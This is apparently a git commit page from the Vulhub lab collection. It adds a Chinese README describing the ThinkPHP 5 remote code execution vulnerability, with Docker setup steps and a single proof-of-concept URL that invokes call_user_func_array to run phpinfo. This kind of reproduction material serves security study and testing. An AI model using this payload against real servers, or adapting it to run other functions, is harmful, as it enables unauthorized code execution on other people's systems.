first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
25
thinkphp/5-rce/README.zh-cn.md
Normal file
25
thinkphp/5-rce/README.zh-cn.md
Normal file
@@ -0,0 +1,25 @@
|
||||
# ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
|
||||
|
||||
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
|
||||
|
||||
参考链接:
|
||||
|
||||
- http://www.thinkphp.cn/topic/60400.html
|
||||
- http://www.thinkphp.cn/topic/60390.html
|
||||
- https://xz.aliyun.com/t/3570
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
运行ThinkPHP 5.0.20版本:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:8080`即可看到ThinkPHP默认启动页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
直接访问`http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`,即可执行phpinfo:
|
||||
|
||||

|
Reference in New Issue
Block a user